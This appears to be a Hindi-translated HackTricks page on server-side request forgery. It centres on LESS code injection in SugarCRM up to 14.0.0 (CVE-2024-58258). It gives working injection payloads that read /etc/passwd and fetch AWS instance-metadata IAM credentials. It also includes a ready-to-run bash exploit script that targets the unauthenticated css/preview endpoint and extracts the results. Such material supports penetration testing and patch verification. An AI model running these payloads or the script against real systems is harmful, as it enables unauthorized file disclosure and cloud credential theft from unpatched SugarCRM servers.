SSRF कमजोर प्लेटफ़ॉर्म
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
देखें https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/
LESS Code Injection leading to SSRF & Local File Read
LESS एक लोकप्रिय CSS pre-processor है जो variables, mixins, functions और शक्तिशाली @import directive जोड़ता है। कंपाइलेशन के दौरान LESS engine @import में संदर्भित संसाधनों को प्राप्त करेगा और जब (inline) विकल्प उपयोग किया जाता है तो उनकी सामग्री को resulting CSS में embed ("inline") कर देगा।
जब कोई application किसी string में user-controlled input को जोड़ता है जो बाद में LESS compiler द्वारा parse की जाती है, तो एक attacker inject arbitrary LESS code कर सकता है। @import (inline) का दुरुपयोग करके attacker सर्वर को निम्नलिखित प्राप्त करने के लिए मजबूर कर सकता है:
- Local files via the
file://protocol (information disclosure / Local File Inclusion). - आंतरिक नेटवर्क या cloud metadata services पर रिमोट resources (SSRF).
यह तकनीक वास्तविक उत्पादों में देखी जा चुकी है, जैसे SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).
Exploitation
- ऐसा parameter पहचानें जो सीधे stylesheet string में embed किया गया हो और जिसे LESS engine द्वारा process किया जाता है (उदा. SugarCRM में
?lm=)। - वर्तमान statement को बंद करें और नए directives इंजेक्ट करें। सबसे आम primitives हैं:
;– पिछले declaration को समाप्त करता है।}– पिछले block को बंद करता है (यदि आवश्यक हो)।
- मनमाने resources पढ़ने के लिए
@import (inline) '<URL>';का उपयोग करें। - वैकल्पिक रूप से import के बाद marker (
data:URI) इंजेक्ट करें ताकि compiled CSS से प्राप्त सामग्री को निकालना आसान हो।
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
/etc/passwd की सामग्री HTTP response में @@END@@ marker से ठीक पहले दिखाई देगी।
SSRF – क्लाउड मेटाडेटा
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
स्वचालित PoC (SugarCRM उदाहरण)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
वास्तविक दुनिया के मामलों
| उत्पाद | असुरक्षित एंडपॉइंट | प्रभाव |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | बिना प्रमाणीकरण के SSRF और स्थानीय फ़ाइल पढ़ना |
संदर्भ
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks